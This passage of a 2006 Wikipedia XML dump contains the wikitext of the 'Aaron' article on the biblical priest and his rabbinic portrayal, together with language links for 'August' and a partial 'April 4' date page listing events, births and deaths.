[[io:Agosto]]
[[id:Agustus]]
[[ia:Augusto]]
[[ie:August]]
[[is:Ágúst]]
[[it:Agosto]]
[[he:אוגוסט]]
[[jv:Agustus]]
[[kn:ಆಗಸ್ಟ್]]
[[ka:აგვისტო]]
[[csb:Zélnik]]
[[kw:Mys Est]]
[[ku:Gelawêj (meh)]]
[[la:Augustus (mensis)]]
[[lv:Augusts]]
[[lt:Rugpjūtis]]
[[lb:August]]
[[li:Augustus (maond)]]
[[hu:Augusztus]]
[[mi:Here-turi-kōkā]]
[[mr:ऑगस्ट]]
[[ms:Ogos]]
[[nap:Aùsto]]
[[nl:Augustus (maand)]]
[[ja:8月]]
[[no:August]]
[[nn:August]]
[[oc:Agost]]
[[pl:Sierpień]]
[[pt:Agosto]]
[[ro:August]]
[[ru:Август]]
[[se:Borgemánnu]]
[[sco:August]]
[[sq:Gushti]]
[[scn:Austu]]
[[simple:August]]
[[sk:August]]
[[sl:Avgust]]
[[sr:Август]]
[[su:Agustus]]
[[fi:Elokuu]]
[[sv:Augusti]]
[[tl:Agosto]]
[[ta:ஆகஸ்டு]]
[[tt:August]]
[[th:สิงหาคม]]
[[vi:Tháng tám]]
[[tpi:Ogas]]
[[tr:Ağustos]]
[[uk:Серпень]]
[[ur:اگست]]
[[vo:Gustul]]
[[wa:Awousse]]
[[zh:8月]]</text>
    </revision>
  </page>
  <page>
    <title>Aaron</title>
    <id>1006</id>
    <revision>
      <id>41885933</id>
      <timestamp>2006-03-02T10:28:34Z</timestamp>
      <contributor>
        <username>Waggers</username>
        <id>878293</id>
      </contributor>
      <minor />
      <comment>Revert to revision 41655597 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">:''For other uses of the word Aaron, see [[Aaron (disambiguation)]].''

[[Image:GoldCalf.jpg|thumb|right|]]

'''Aaron'''
('''&amp;#1488;&amp;#1463;&amp;#1492;&amp;#1458;&amp;#1512;&amp;#1465;&amp;#1503;''', a word meaning &quot;bearer of martyrs&quot; in Hebrew (perhaps also, or instead, related to the [[Egyptian language|Egyptian]] &quot;Aha Rw,&quot; &quot;Warrior Lion&quot;), [[Standard Hebrew]] '''Aharon''', [[Tiberian Hebrew]] '''&amp;#702;Ah&amp;#259;r&amp;#333;n'''), was one of two brothers who play a unique part in the history of the [[Hebrew people]]. He was the elder son of [[Amram]] and [[Jochebed]] of the tribe of [[Levi]]; [[Moses]], the other son, being three years younger, and [[Miriam]], their sister, several years older ([[Exodus]] 2:4; [[Exodus]] 6:16 ff.; [[Numbers]] 33:39). Aaron was the great-grandson of [[Levi]] ([[Exodus]] 6:16-20) and represented the priestly functions of his tribe. While [[Moses]] was receiving his education at the [[Egypt]]ian court and during his exile among the [[Midianites]], Aaron and his sister remained with their kinsmen in the eastern border-land of [[Egypt]]. Here he gained a name for eloquent and persuasive speech; so that when the time came for the demand upon [[Pharaoh]] to release Israel from captivity, Aaron became his brother’s ''nabi '', or spokesman, to his own people ([[Exodus]] 4:16) and, after their unwillingness to hear, to [[Pharaoh]] himself ([[Exodus]] 7:9).

==His function==
Aaron’s function included the duties of speaker and implied personal dealings with the court on behalf of [[Moses]], who was always the central moving figure. The part played by Aaron in the events that preceded the [[Exodus]] was, therefore, ministerial, and not directive. He, along with [[Moses]], performed “signs” before his people which impressed them with a belief in the reality of the divine mission of the brothers ([[Exodus]] 4:15-16). At the command of [[Moses]] he stretched out his rod in order to bring on the first three plagues ([[Exodus]] 7:19, 8:1, 12). In the infliction of the remaining plagues he appears to have acted merely as the attendant of [[Moses]], whose outstretched rod drew the divine wrath upon [[Pharaoh]] and his subjects ([[Exodus]] 9:23, 10:13, 22). The potency of Aaron’s rod had already been demonstrated by its victory over the rods of the [[Egypt]]ian magicians, which it swallowed after all the rods alike had been turned into serpents ([[Exodus]] 7:9 ''et seq.''). During the journey in the wilderness Aaron is not always prominent or active; and he sometimes appears guilty of rebellious or treasonable conduct.  At the battle with [[Amalek]] he is chosen with [[Hur]] to support the hand of [[Moses]] that held the “rod of [[God]]” ([[Exodus]] 17:9 ''et seq.''). When the revelation was given to [[Moses]] at [[Sinai]], he headed the elders of Israel who accompanied [[Moses]] on the way to the summit. [[Joshua]], however, was admitted with his leader to the very presence of [[the Lord]], while Aaron and [[Hur]] remained below to look after the people ([[Exodus]] 24:9-14). It was during the prolonged absence of [[Moses]] that Aaron yielded to the clamors of the people, and made a golden calf as a visible image of the divinity who had delivered them from [[Egypt]] ([[Exodus]] 32:1-6). At the intercession of [[Moses]], Aaron was saved from the plague which smote the people ([[Deuteronomy]] 9:20; [[Exodus]] 32:35), although it was to Aaron’s tribe of [[Levi]] that the work of punitive vengeance was committed ([[Exodus]] 32:26 ''et seq.'').

==Becomes priest of Israel==
At the time when the tribe of [[Levi]] was set apart for the priestly service, Aaron was anointed and consecrated to the priesthood, arrayed in the robes of his office, and instructed in its manifold duties ([[Exodus]] 28 and 29). On the very day of his consecration his sons, [[Nadab|Nadav]] and [[Abihu|Avihu]], were consumed by fire from [[the Lord]] for having offered incense in an unlawful manner ([[Leviticus]] 10).

==Rebellion of [[Korah]]==
From the time of the sojourn at [[Sinai]], where he became the anointed priest of Israel, Aaron ceased to be the minister of [[Moses]], his place being taken by [[Joshua]]. He is mentioned in association with [[Miriam]] in a jealous complaint against the exclusive claims of [[Moses]] as [[the Lord]]’s prophet. The presumption of the murmurers was rebuked, and [[Miriam]] was smitten with ''tzara'as''. Aaron entreated [[Moses]] to intercede for her, at the same time confessing the sin and folly that prompted the uprising. Aaron himself was not struck with the plague on account of sacerdotal immunity; and [[Miriam]], after seven days’ quarantine, was healed and restored to favor ([[Numbers]] 12). It is noteworthy that the prophet [[Micah]] (6:4) mentions [[Moses]], Aaron, and [[Miriam]] as the leaders of Israel after the [[Exodus]] (a judgment wholly in accord with the tenor of the narratives). In the present instance it is made clear by the express words of the oracle ([[Numbers]] 12:6-8) that [[Moses]] was unique among men as the one with whom [[the Lord]] spoke face to face. The failure to recognize or concede this prerogative of their brother was the sin of [[Miriam]] and Aaron. The validity of the exclusive priesthood of the family of Aaron was attested after the ill-fated rebellion of [[Korah]], who was a first cousin of Aaron. When the earth had opened and swallowed up the leaders of the insurgents ([[Numbers]] 16:25-35), [[Eleazar]], the son of Aaron, was commissioned to take charge of the censers of the dead priests. And when the plague had broken out among the people who had sympathized with the rebels, Aaron, at the command of [[Moses]], took his censer and stood between the living and the dead till the plague was stayed ([[Numbers]] 17:1-15, 16:36-50, Authorized Version). Another memorable transaction followed. Each of the tribal princes of Israel took a rod and wrote his name upon it, and the twelve rods were laid up over night in the tent of meeting. On the morrow Aaron’s rod was found to have budded and blossomed and borne ripe almonds ([[Numbers]] 17:8; see [[Aaron’s Rod]]). The miracle proved merely the prerogative of the tribe of [[Levi]]; but now a formal distinction was made in perpetuity between the family of Aaron and the other [[Levites]]. While all the [[Levites]] (and only [[Levites]]) were to be devoted to sacred services, the special charge of the sanctuary and the altar was committed to the Aaronites alone ([[Numbers]] 18:1-7). The scene of this enactment is unknown, nor is the time mentioned.

==Death==
Aaron, like [[Moses]], was not permitted to enter [[Canaan]] with the successful invaders. The reason alleged is that the two brothers showed impatience at Meribah (Kadesh) in the last year of the desert pilgrimage ([[Numbers]] 20:12, 13), when they, or rather [[Moses]], brought water out of a rock to quench the thirst of the people. The action was construed as displaying a want of deference to [[the Lord]], since they had been commanded to speak to the rock, whereas [[Moses]] struck it with the wonder-working rod ([[Numbers]] 20:7-11). Of the death of Aaron we have two accounts. The principal one gives a detailed statement to the effect that, soon after the above incident, Aaron, with his son [[Eleazar]] and [[Moses]], ascended [[Mount Hor]]. There [[Moses]] stripped him (Aaron) of his priestly garments, and transferred them to [[Eleazar]]. Aaron died on the summit of the mountain, and the people mourned for him thirty days ([[Numbers]] 20:22-29; compare 33:38, 39). The other account is found in [[Deuteronomy]] 10:6, where [[Moses]] is reported as saying that Aaron died at [[Mosera]] and was buried there. Some scholars think that [[Mosera]] is not on [[Mount Hor]], since the itinerary in [[Numbers]] 33:31-37 records seven stages between [[Moseroth]] ([[Mosera]]) and [[Mount Hor]].

==Typical signification in apocryphal and rabbinical literature==
The older prophets and prophetical writers beheld in their priests the representatives of a religious form inferior to the prophetic truth; men without the spirit of [[God]] and lacking the will-power requisite to resist the multitude in its idolatrous proclivities. Thus Aaron, the typical priest, ranks far below [[Moses]]: he is but his mouthpiece, and the executor of the will of [[God]] revealed through [[Moses]], although it is pointed out (Sifra, Wa-yiḳra, 1) that it is said fifteen times in the Pentateuch that “[[the Lord]] spoke to [[Moses]] ''and'' Aaron.” Under the influence of the priesthood which shaped the destinies of the nation under [[Persians|Persian]] rule, a different ideal of the priest was formed, as is learned from [[Malachi]] 2:4-7; and the prevailing tendency was to place Aaron on a footing equal with [[Moses]]. “At times Aaron, and at other times [[Moses]], is mentioned first in Scripture—this is to show that they were of equal rank,” says Mekilta בא, 1; and [[Ecclesiasticus]] ([[Sirach]]), 44:6-24, expressly infers this when introducing in his record of renowned men the glowing description of Aaron’s ministration.

==[[Moses]] and Aaron compared==
According to Tanḥuma (ed. Buber, 2:12), Aaron’s activity as a prophet began earlier than that of [[Moses]]. The writer of the Testaments of the Patriarchs, however, hesitates to rank [[Moses]] the faithful, “him that speaks with [[God]] as with a father,” as equal with Aaron (Testament of [[Levi]], 8:17). The rabbis are still more emphatic in their praise of Aaron’s virtues. Thus Hillel, who in Herod’s time saw before him mainly a degenerate class of priests, selfish and quarrelsome, held Aaron of old up as a mirror, saying: “Be of the disciples of Aaron, loving peace and pursuing peace; love your fellow creatures and draw them nigh unto the Law!” (Abot, 1:12). This is further illustrated by the tradition preserved in Abot de-Rabbi Natan 12, Sanhedrin 6b, and elsewhere, according to which Aaron was an ideal priest of the people, far more beloved for his kindly ways than was [[Moses]]. While [[Moses]] was stern and uncompromising, brooking no wrong, Aaron went about as peacemaker, reconciling man and wife when he saw them estranged, or a man with his neighbor when they quarreled, and winning evil-doers back into the right way by his friendly intercourse. The mourning of the people at Aaron’s death was greater, therefore, than at that of [[Moses]]; for whereas, when Aaron died the whole house of Israel wept, including the women ([[Numbers]] 20:29), [[Moses]] was bewailed by “the sons of Israel” only ([[Deuteronomy]] 34:8). Even in the making of the Golden Calf the rabbis find extenuating circumstances for Aaron (Sanhedrin 7a). His fortitude and silent submission to the will of [[God]] on the loss of his two sons are referred to as an excellent example to men how to glorify [[God]] in the midst of great affliction (Zebaḥim 115b; [[Josephus]], “[[Antiquities of the Jews]]” 3:8, § 7). Especially significant are the words represented as being spoken by [[God]] after the princes of the [[Twelve Tribes]] had brought their dedication offerings into the newly reared Tabernacle: “Say to thy brother Aaron: Greater than the gifts of the princes is thy gift; for thou art called upon to kindle the light, and, while the sacrifices shall last only as long as the Temple lasts, thy light of the Law shall last forever” (Tanḥuma, ed. Buber, בהעלותך, 6).

==Death of Aaron==
In fulfillment of the promise of peaceful life, symbolized by the pouring of oil upon his head ([[Leviticus]] Rabbah 10, Midrash Tehilim 133:1), Aaron’s death, as described in the Haggadah, was of a wonderful tranquillity. Accompanied by [[Moses]], his brother, and by [[Eleazar]], his son, Aaron went to the summit of [[Mount Hor]], where the rock suddenly opened before him and a beautiful cave lit by a lamp presented itself to his view. “Take off thy priestly raiment and place it upon thy son [[Eleazar]]!” said [[Moses]]; “and then follow me.” Aaron did as commanded; and they entered the cave, where was prepared a bed around which angels stood. “Go lie down upon thy bed, my brother,” [[Moses]] continued; and Aaron obeyed without a murmur. Then his soul departed as if by a kiss from [[God]]. The cave closed behind [[Moses]] as he left; and he went down the hill with [[Eleazar]], with garments rent, and crying: “Alas, Aaron, my brother! thou, the pillar of supplication of Israel!” When the Israelites cried in bewilderment, “Where is Aaron?” angels were seen carrying Aaron’s bier through the air. A voice was then heard saying: “The law of truth was in his mouth, and iniquity was not found on his lips: he walked with me in righteousness, and brought many back from sin” ([[Malachi]] 2:6, 7). He died, according to Seder ‘Olam R. 9, Rosh ha-Shanah 2, 3a, and [[Josephus]], “[[Antiquities of the Jews]]” 4:4, § 7, on the first of Ab. [[Josephus]] says also that “he died while the multitude looked upon him.” The pillar of cloud which proceeded in front of Israel’s camp disappeared at Aaron’s death (see Seder ‘Olam, 9 and Rosh ha-Shanah 2b-3a). The seeming contradiction between [[Numbers]] 20:22 ''et seq.'' and [[Deuteronomy]] 10:6 is solved by the rabbis in the following manner: Aaron’s death on [[Mount Hor]] was marked by the defeat of the people in a war with the king of Arad, in consequence of which the Israelites fled, marching seven stations backward to [[Moseroth|Mosera]], where they performed the rites of mourning for Aaron; wherefore it is said: “There [at [[Moseroth|Mosera]]] died Aaron.” See Mekilta, Beshallaḥ, Wayassa’, 1; Tanḥuma, Huḳḳat, 18; Yerushalmi Soṭah, 1:17c, and Targum Yerushalmi [[Numbers]] and [[Deuteronomy]] on the above-mentioned passages.
The rabbis also dwell with special laudation on the brotherly sentiment which united Aaron and [[Moses]]. When the latter was appointed ruler and Aaron high priest, neither betrayed any jealousy; instead they rejoiced in one another’s greatness. When [[Moses]] at first declined to go to [[Pharaoh]], saying: “O my Lord, send, I pray thee, by the hand of him whom thou wilt send” ([[Exodus]] 4:13), he was unwilling to deprive Aaron, his brother, of the high position the latter had held for so many years; but [[the Lord]] reassured him, saying: “Behold, when he seeth thee, he will be glad in his heart” ([[Exodus]] 4:14). Indeed, Aaron was to find his reward, says Simon ben Yoḥai; for that heart which had leaped with joy over his younger brother’s rise to glory greater than his was decorated with the Urim and Thummim, which were to “be upon Aaron’s heart when he goeth in before [[the Lord]]” (Canticles Rabbah 1:10). [[Moses]] and Aaron met in gladness of heart, kissing each other as true brothers ([[Exodus]] 4:27; compare [[Song of Songs]], 8:1), and of them it is written: “Behold how good and how pleasant [it is] for brethren to dwell together in unity!” ([[Psalms]] 133:1). Of them it is said ([[Psalms]] 85:10): “Mercy and truth are met together; righteousness and peace have kissed [each other]”; for [[Moses]] stood for righteousness, according to [[Deuteronomy]] 33:21, and Aaron for peace, according to [[Malachi]] 2:6. Again, mercy was personified in Aaron, according to [[Deuteronomy]] 33:8, and truth in [[Moses]], according to [[Numbers]] 12:7 (Tanḥuma, Shemot, ed. Buber, 24-26).
When [[Moses]] poured the oil of anointment upon the head of Aaron, Aaron modestly shrank back and said: “Who knows whether I have not cast some blemish upon this sacred oil so as to forfeit this high office.” Then the Holy Spirit spake the words: “Behold the precious ointment upon the head, that ran down upon the beard of Aaron, that even went down to the skirts of his garment, is as pure as the dew of [[Hermon]]” ([[Psalms]] 133:2, 3, ''Heb''.; Sifra, Shemini, Milluim; Tanḥuma, [[Korah]], ed. Buber, 14). 

==Genetics==
Recently, the tradition that [[Kohanim]] are actually descended from Aaron was supported by [[genetic testing]] (Skorecki et al., 1997). Since all direct male lineage shares a common [[Y chromosome]], testing was done across sectors of the Jewish population to see if there was any commonality between their Y chromosomes. There was proven to be certain distinctions among the [[Cohen modal haplotype]], implying that the Kohanim do share some common ancestry. This information was used to support the claim of the [[Lemba]] (a [[sub-Saharan]] tribe) that they were in fact, a tribe of Jews.

==According to the documentary hypothesis==
The Biblical representation of his character, negative and shadowy compared with Moses's, may be viewed in several ways. A clue to the seemingly contradictory delineations of Aaron (other than the obvious explanation that he is a complex character) is found in the framework of documentary analysis (see also ''[[Hexateuch]]''), which is accepted by some but not all scholars. According to those who accept the [[documentary hypothesis]], the following portions of text belong to (1) [[Elohist|E]], (2) [[Jahwist|J]], (3) [[Deuteronomist|D]], and (4) [[Priestly source|P]] sources, respectively, with the fifth item being from ''[[Book of Ezekiel|Ezekiel]]''.

#'''Aaron as fallible'''. These passages do not represent Aaron as a sacrosanct [[priest]]. He comes to meet Moses (''Exodus'' 4:14), supports him in war (Exodus 17:12) and jurisprudence (Exodus 24:14). He yields to the people and makes the [[Golden Calf|calf]] (Exodus 32), and, with [[Miriam]], [[Snow-white Miriam|criticises Moses]] for marrying a [[Cush]]ite woman. Miriam is subsequently punished (''Numbers'' 12). He is present at the sacrificial covenant meal between [[Israel]] and the [[Kenite]]s (Exodus 18:12). In this aspect, [[Joshua]], instead of Aaron, serves in the Tent (Exodus 33:11).
#'''Aaron as Moses's prophet'''. This representation concerns the covenant meal on [[Sinai]] (Exodus 24:1, 2, 9-11) and the vague charge that Aaron &quot;let the people loose&quot; (Exodus 32:25). Aaron seems to be an afterthought in the plague narrative (Exodus 8:25). In both this and the last view, Moses is the viceregent of God and Aaron is Moses' prophet (Exodus 4:16, 7:1).
#'''Aaron as idolatrous'''. In ''[[Deuteronomy]]'' 9, Aaron is partly responsible for the building of the [[Golden Calf]]. The story says that [[Yahweh]] is so angry toward Aaron that he was about to destroy him. It appears that it is only Moses's intercessory prayer and his destruction of the Golden Calf which saves Aaron. The account of his death in Deuteromy 10:6 is different from that in Numbers 20:22. According to Deuteronomy it occurred at [[Moseroth|Moserah]], seven stations from [[Mount Hor]] (Numbers 33:30), in the early months of the wandering because of the sign of the Golden Calf. The only other passage in reference to Aaron in Deuteronomy merely states that he is the brother of Moses (Deuteronomy 32:50).
#'''Aaron as subordinate'''. The first three, simpler, plagues Aaron brings on at Moses' command; thereafter Moses himself is the actor. In the narratives (Numbers 16, 17) it is Moses in each case who vindicates him. Aaron dies at Mount Hor in the fortieth year of the Exodus (Numbers 20:22, 33:38), because of rebellion at [[Meribah]] (cf. Deuteronomy as above).
#'''Aaron as non-priestly'''. In ''[[Leviticus]]'' 17-26, Aaron appears only in redactional passages connecting the [[Law of Holiness]] with its present context. In ''Ezekiel'' 40-48 Zadok, not Aaron, is the eponym of the priestly line (44:15, etc.).

==In the Qur’an==
In the [[Qur'an]] he is known as [[Harun]].

==References==
*''[[Numbers]] Rabbah'' 9
*''[[Leviticus]] Rabbah'' 10 
*''Midrash Peṭirat Aharon'' in Jellinek’s ''Bet ha-Midrash'', 1:91-95 
*''Yalḳuṭ [[Numbers]]'' 764 
*Baring-Gould, ''Legends of Old Testament Characters'' 
*''Chronicles of Jerahmeel'', ed. M. Gaster, pp. cx1:130-133 
*B. Beer, in Wertheimer’s ''Jahrb.'', 1855 
*Hamburger, ''Der Geist der Haggada'', pp. 1-8 
*the same, ''Realencyklopädie für Bibel und Talmud'', s. v.
*{{JewishEncyclopedia}}
*{{1911}}

==See also==
{{Wikisource1911Enc|Aaron}}
* [[Kohen]]
* [[Y-chromosomal Aaron]]
* [[Documentary Hypothesis]] - theories on the alternate meaning of Aaron's presence in the Torah.


[[Category:1597 BC births]]
[[Category:1474 BC deaths]]
[[Category:Torah people]]

[[ang:Aaron]]
[[ar:Aaaron]]
[[bg:Аарон (библия)]]
[[ca:Aaró]]
[[de:Aaron (biblische Person)]]
[[et:Aaron]]
[[eo:Aaron]]
[[fr:Aaron (personnage biblique)]]
[[gl:Aharón - אהרן]]
[[ia:Aaron]]
[[he:אהרן הכהן]]
[[nl:Aäron]]
[[pl:Aaron (Biblia)]]
[[pt:Aarão]]
[[ru:Аарон Леви]]
[[sv:Aron]]</text>
    </revision>
  </page>
  <page>
    <title>April 4</title>
    <id>1007</id>
    <revision>
      <id>42016591</id>
      <timestamp>2006-03-03T06:07:05Z</timestamp>
      <contributor>
        <ip>65.148.101.160</ip>
      </contributor>
      <comment>/* Deaths */ added Faith Domergue</comment>
      <text xml:space="preserve">&lt;!-- Language links at bottom --&gt;
{| style=&quot;float:right;&quot;
|- 
|{{AprilCalendar}}
|-
|{{ThisDateInRecentYears|Month=April|Day=4}}
|}
'''April 4''' is the 94th day of the year in the [[Gregorian calendar]] (95th in [[leap year]]s). There are 271 days remaining.
==Events==
*[[1581]] - [[Francis Drake]] completes a circumnavigation of the world and is knighted by [[Elizabeth I of England|Elizabeth I]]. 
*[[1721]] - Sir [[Robert Walpole]] enters office as the first [[Prime Minister of the United Kingdom]] under [[George I of Great Britain|King George I]].
*[[1812]] - U.S. President [[James Madison]] enacted a ninety-day [[embargo]] on trade with the [[United Kingdom]].
*[[1814]] - [[Napoleon I of France|Napoleon]] abdicates for the first time. 
*[[1818]] - The [[Congress of the United States|U.S. Congress]] adopts the [[flag of the United States]] as having 13 red and white stripes and one star for each state (20 stars) with additional stars to be added whenever a new state is added to the Union.  
*[[1841]] - President [[William Henry Harrison]] dies of [[pneumonia]] becoming the first [[President of the United States]] to die in office and at one month, the elected president with the shortest term served.  
*[[1850]] - [[Los Angeles, California]] is incorporated as a city.
*[[1859]] - [[Bryant's Minstrels]] debut &quot;[[Dixie (song)|Dixie]]&quot; in [[New York City]] in the finale of a [[blackface]] [[minstrel show]]. 
*[[1865]] - [[American Civil War]]: A day after [[United States|Union]] forces capture [[Richmond, Virginia]], U.S. President [[Abraham Lincoln]] visits the [[Confederate States of America|Confederate]] capital.
*[[1866]] - [[Alexander II of Russia]] narrowly escapes an assassination attempt in the city of Kiev. A design for a city gate to commemorate his escape was the inspiration for [[Modest Mussorgsky|Mussorgsky's]] ''The Great Gate of Kiev'' from ''[[Pictures at an Exhibition]]''. 
*[[1887]] - [[Argonia, Kansas]] elects [[Susanna M. Salter]] as the first female mayor in the [[United States]].
*[[1905]] - In [[India]], an [[earthquake]] near [[Kangra]] kills 370,000.  
*[[1918]] - [[World War I]]: [[Second Battle of the Somme]] ends.   
*[[1939]] - [[Faisal II of Iraq|Faisal II]] becomes King of [[Iraq]]. 
*[[1945]] - [[World War II]]: American troops liberate [[Ohrdruf death camp]] in [[Germany]].  
*1945 - World War II: Soviet Army liberates [[Hungary]].
*[[1949]] - Twelve nations sign The [[North Atlantic Treaty]] creating the [[NATO|North Atlantic Treaty Organisation]]. 
*[[1964]] - [[The Beatles]] occupy all of the top five positions on the Billboard singles chart in the United States. 
*[[1968]] - [[Martin Luther King Jr.]] assassinated in Memphis.  
*  1968   - [[Apollo program]]: [[NASA]] launches [[Apollo 6]]. 
*[[1969]] - Dr. [[Denton Cooley]] implants the first temporary [[artificial heart]].
*  1969  - The ''[[Smothers Brothers Comedy Hour]]'' is cancelled after the brothers failed to submit an episode before its broadcast date. 
*[[1973]] - The [[World Trade Center]] in [[New York, New York|New York]] is officially dedicated.
*[[1974]] - [[Hank Aaron]] of the [[Atlanta Braves]] ties [[Babe Ruth]]'s home run record of 714 in the first inning against the [[Cincinnati Reds]].
*[[1975]] - [[Vietnam War]]: [[Operation Baby Lift]] - A [[United States Air Force]] [[C-5 Galaxy|C-5A Galaxy]] crashes near [[Saigon]], [[South Vietnam]] shortly after takeoff, transporting orphans. 172 people are killed.
*[[1976]] - Prince [[Norodom Sihanouk]] resigns as leader of [[Cambodia]] and is placed under house arrest. 
*[[1979]] - President [[Zulfikar Ali Bhutto]] of [[Pakistan]] is executed. 
*[[1981]] - In [[Dublin]], [[Ireland]], [[Bucks Fizz (band)|Bucks Fizz]] win the twenty-sixth [[Eurovision Song Contest]] for the [[United Kingdom]] singing &quot;Making Your Mind Up&quot;.
*[[1983]] - Space Shuttle ''[[Space Shuttle Challenger|Challenger]]'' makes its maiden voyage into space.  
*[[1984]] - President [[Ronald Reagan]] calls for an international ban on [[chemical weapon]]s.  
*[[1988]] - [[List of Governors of Arizona|Governor]] [[Evan Mecham]] of [[Arizona]] is convicted in his [[impeachment]] trial and removed from office.
*[[1991]] - Senator [[John Heinz]] of [[Pennsylvania]] and six others are killed when a helicopter collides with their plane over [[Merion, Pennsylvania]].
*[[1994]] - [[Netscape Communications Corporation]] is founded (under the name &quot;Mosaic Communications Corporation&quot;) by [[Marc Andreessen]] and [[James H. Clark|Jim Clark]].
*[[2003]] - [[Sammy Sosa]] becomes the 18th member of the [[500 home run club]] with a [[Home run|home run]] at [[Great American Ball Park]] in [[Cincinnati, Ohio]].
*[[2004]] - [[Muqtada al-Sadr]]'s [[Mahdi Army]] stage an uprising in several towns and cities in Iraq after the Coalition's closure of Sadr's [[al-Hawza]] newspaper.  

==Births==
*[[186]] - [[Caracalla]], Roman emperor (d. [[217]])
*[[1492]] - [[Ambrosius Blarer]], German reformer (d. [[1564]])
*[[1593]] - [[Edward Nicholas]], English statesman (d. [[1669]])
*[[1646]] - [[Antoine Galland]], French archaeologist (d. [[1715]])
*[[1648]] - [[Grinling Gibbons]] Dutch-born woodcarver (d. [[1721]])
*[[1688]] - [[Joseph-Nicolas Delisle]], French astronomer (d. [[1768]])
*[[1718]] - [[Benjamin Kennicott]], English churchman and Hebrew scholar (d. [[1783]])
*[[1785]] - [[Bettina von Arnim]], German writer (d. [[1859]])
*[[1802]] - [[Dorothea Dix]], American social activist (d. [[1887]])
*[[1819]] - Queen [[Maria II of Portugal]] (d. [[1853]])
*[[1826]] - [[Zénobe Gramme]], Belgian engineer (d. [[1901]])
*[[1846]] - [[Comte de Lautréamont]], French writer (d. [[1870]])
*[[1875]] - [[Pierre Monteux]], French conductor (d. [[1964]])
*[[1876]] - [[Maurice de Vlaminck]], French painter (d. [[1958]])
*[[1884]] - [[Isoroku Yamamoto]], Japanese naval commander (d. [[1943]])
*[[1888]] - [[Tris Speaker]], baseball player (d. [[1958]])
*[[1895]] - [[Arthur Murray]], American dance teacher (d. [[1991]])
*[[1898]] - [[Agnes Ayres]], American actress (d. [[1940]])
*[[1902]] - [[Louise Leveque de Vilmorin]], French actress (d. [[1969]])
*[[1906]] - [[Bea Benaderet]], American actress (d. [[1968]])
*1906 - [[John Cameron Swayze]], American journalist and television host (d. [[1995]])
*[[1911]] - [[Max Dupain]], [[Australian]] photographer (d. 1992) 
*[[1913]] - [[Frances Langford]], American actress (d. [[2005]])
*[[1914]] - [[Marguerite Duras]], French writer (d. [[1996]])
*[[1915]] - [[Muddy Waters]], American musician (d. [[1983]])
*[[1920]] - [[Éric Rohmer]], French film director
*[[1922]] - [[Elmer Bernstein]], American composer (d. [[2004]])
*[[1924]] - [[Gil Hodges]], baseball player (d. [[1972]])
*[[1928]] - [[Maya Angelou]], American writer
*[[1931]] - [[Bobby Ray Inman]], American admiral and intelligence director
*[[1932]] - [[Anthony Perkins]], American actor (d. [[1992]])
*1932 - [[Andrei Tarkovsky]], Russian film director (d. [[1986]])
*1932 - [[Richard Lugar]], American politician
*[[1934]] - [[Clive Davis]], American record producer
*[[1938]] - [[A. Bartlett Giamatti]], American university president and baseball commissioner
*[[1939]] - [[Hugh Masekela]], South African musician
*[[1940]] - [[Sharon Sheeley]], American songwriter
*[[1942]] - [[Kitty Kelley]], American writer
*[[1944]] - [[Craig T. Nelson]], American actor
*[[1945]] - [[Daniel Cohn-Bendit]], French political activist
*[[1946]] - [[Dave Hill]], English guitarist ([[Slade]])
*[[1947]] - [[Luke Halpin]], American actor
*1947 - [[Wiranto]], Indonesian general
*[[1948]] - [[Dan Simmons]], American writer
*1948 - [[Abdullah Öcalan]], Kurdish leader
*1948 - [[Derek Thompson]], Northern Irish actor
*[[1950]] - [[Christine Lahti]], American actress
*[[1951]] - [[Hun Sen]], Prime Minister of Cambodia
*[[1952]] - [[Rosemarie Ackermann]], German athlete
*[[1953]] - [[Robert Bertrand]], Canadian politician
*[[1956]] - [[David E. Kelley]], American writer and television producer
*[[1957]] - [[Aki Kaurismäki]], Finnish film director
*1957 - [[Nobuyoshi Kuwano]], Japanese television performer and musician ([[Rats &amp; Star]])
*[[1958]] - [[Mary-Margaret Humes]], American actress
*[[1960]] - [[Jane Eaglin]], English soprano
*1960 - [[Hugo Weaving]], Australian actor 
*[[1963]] - [[Jack Del Rio]], American football player and coach
*1963 - [[Graham Norton]], Irish talk show host
*1963 - [[Dale Hawerchuk]], Canadian [[ice hockey]] player
*[[1965]] - [[Robert Downey Jr.]], American actor
*[[1968]] - [[Jennifer Lynch]], American director
*[[1970]] - [[Barry Pepper]], Canadian actor
*[[1973]] - [[David Blaine]], American illusionist
*[[1974]] - [[Dave Mirra]], American athlete
*[[1975]] - [[Scott Rolen]], baseball player
*1975 - [[Delphine Arnault]], billionaire French businesswoman
*[[1979]] - [[Heath Ledger]], Australian actor
*1979 - [[Natasha Lyonne]], American actress
*[[1980]] - [[Björn Wirdheim]], Swedish race car driver
*[[1991]] - [[Jamie Lynn Spears]], American television show host

==Deaths==
*[[397]] - [[Ambrose|St. Ambrose]], Bishop of Milan
*[[896]] - [[Pope Formosus]] (b. [[816]])
*[[1284]] - King [[Alfonso X of Castile]] (b. [[1221]])
*[[1292]] - [[Pope Nicholas IV]] (b. [[1227]])
*[[1305]] - [[Jeanne of Navarre]], queen of [[Philip IV of France]]
*[[1536]] - [[Frederick I, Margrave of Brandenburg-Ansbach]] (b. [[1460]])
*[[1588]] - King [[Frederick II of Denmark]] (b. [[1534]]
*[[1609]] - [[Charles de L'Ecluse]], Flemish botanist (b. [[1526]])
*[[1617]] - [[John Napier]], Scottish mathematician (b. [[1550]])
*[[1643]] - [[Simon Episcopius]], Dutch theologian (b. [[1583]])
*[[1661]] - [[Alexander Leslie, 1st Earl of Leven]], Scottish soldier
*[[1701]] - [[Joseph Haines]], entertainer and author
*[[1743]] - [[Daniel Neal]], English historian (b. [[1678]])
*[[1761]] - [[Theodore Gardelle]], Swiss painter and enameler (b. [[1722]])
*[[1766]] - [[John Taylor (1704-1766)|John Taylor]], English classical scholar (b. [[1704]])
*[[1774]] - [[Oliver Goldsmith]], English writer (b. [[1728]])
*[[1792]] - [[James Sykes (1725-1792)|James Sykes]], American politician (b. [[1725]])
*[[1807]] - [[Joseph Jérôme Lefrançais de Lalande]], French astronomer (b. [[1732]])
*[[1817]] - [[André Masséna]], French marshal (b. [[1758]])
*[[1841]] - [[William Henry Harrison]], 9th [[President of the United States]] (b. [[1773]])
*[[1842]] - [[Jean Moufot]], French philosopher and mathematician (b. [[1784]])
*[[1846]] - [[Solomon Sibley]], Senator from Michigan Territory (b. [[1769]])
*[[1861]] - [[John McLean]], U.S. Supreme Court Justice (b. [[1785]])
